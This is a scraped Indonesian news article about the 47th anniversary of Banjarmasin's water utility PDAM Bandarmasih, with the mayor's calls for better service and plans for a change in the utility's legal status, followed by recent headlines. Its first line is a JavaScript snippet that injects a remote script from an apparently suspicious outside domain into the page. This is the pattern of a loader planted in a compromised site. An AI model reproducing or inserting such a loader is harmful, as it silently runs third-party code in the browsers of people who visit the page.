(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Injak Usia 47 Tahun, PDAM Bandarmasih Janji Perbaiki Pelayanan


KANALKALIMANTAN.COM, BANJARMASIN – PDAM Bandarmasih secara resmi menginjak usia ke-47 tahun pada 9 Februari 2020. Puncak perayaan hari jadi dihelat di kantor PDAM Bandarmasih, jalan A Yani Km 2 Banjarmasin, Senin (17/2/2020).

Dalam kesempatan ini, Walikota Banjarmasin H Ibnu Sina meminta PDAM Bandarmasih untuk terus memperbaiki pelayanannya kepada pelanggan, terutama dalam hal kualitas dan kuantitas air yang didistribusikan.

“Ke depan di tahun 2020, kita harus berinvestasi pembangunan beberapa jaringan pipa lagi untuk meningkatkan mutu dan kualitas, terutama di intake Sungai Bilu dan intake Sungai Tabuk untuk pemanfaatan air PDAM kita,” katanya.

Harapannya, dengan pemanfaatan dua intake yang dikelola PDAM Bandarmasih, dapat melayani seluruh pelanggan yang jumlahnya hampir mencapai 100 persen se Kota Banjarmasin.

Selain itu, Ibnu menambahkan, nantinya status PDAM Bandarmasih akan berubah menjadi perseroan daerah (Perseroda) atau perusahaan umum daerah (Perumda). Kendati begitu, keputusan ini diserahkan Pemko Banjarmasin kepada Gubernur Kalsel selaku pemegang saham sebesar 13,5 persen.

“Pemegang saham mayoritas ada di Pemko Banjarmasin dan 1 persen dari pusat. Tetapi, apapun keputusannya kita menyesuaikan,” jelas Ibnu.

Sementara itu, Direktur PDAM Bandarmasih Yudha Achmady menyatakan untuk meningkatkan kualitas air PDAM, pihaknya melakukan penyempurnaan sarpras dari hulu hingga hilir. Ia mendapatkan pesan dari Walikota Ibnu, untuk terus meningkatkan pelayanan menjadi lebih baik, terutama dari segi kualitas dan kuantitas.

“Di tahun 2020 ini, kita fokus melakukan perbaikan. Makanya kita melakukan perbaikan jaringan, sarpras dari intake hingga ke jaringan pelanggan,” kata Yudha.

Disinggung soal status PDAM Bandarmasih yang disebut-sebut bakal menjadi Perseroda atau Perumda, Yudha mengatakan itu tergantung dari pemilik saham maupun kajian akademis. Jika pemilik saham dalam hal ini Pemprov Kalsel masih mempertahankan 13,5 persen saham maka statusnya menjadi Perseroda, sementara jika dihibahkan maka status PDAM Bandarmasih menjadi Perumda. “Jadi kita menunggu jawaban dari Pemprov saja. Sehingga kita pun siap,” tukas Yudha. (kanalkalimantan.com/fikri)

 

Reporter : Fikri
Editor : Bie

 


Desy Arfianty

Recent Posts

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

2 jam ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

2 jam ago

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

4 jam ago

Korban Tenggelam di Sungai Martapura Ditemukan Senin Dinihari

KANALKALIMANTAN.COM, BANJARMASIN — Remaja laki-laki yang tenggelam di Sungai Martapura, Kota Banjarmasin ditemukan dalam keadaan… Read More

6 jam ago

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

20 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

20 jam ago

This website uses cookies.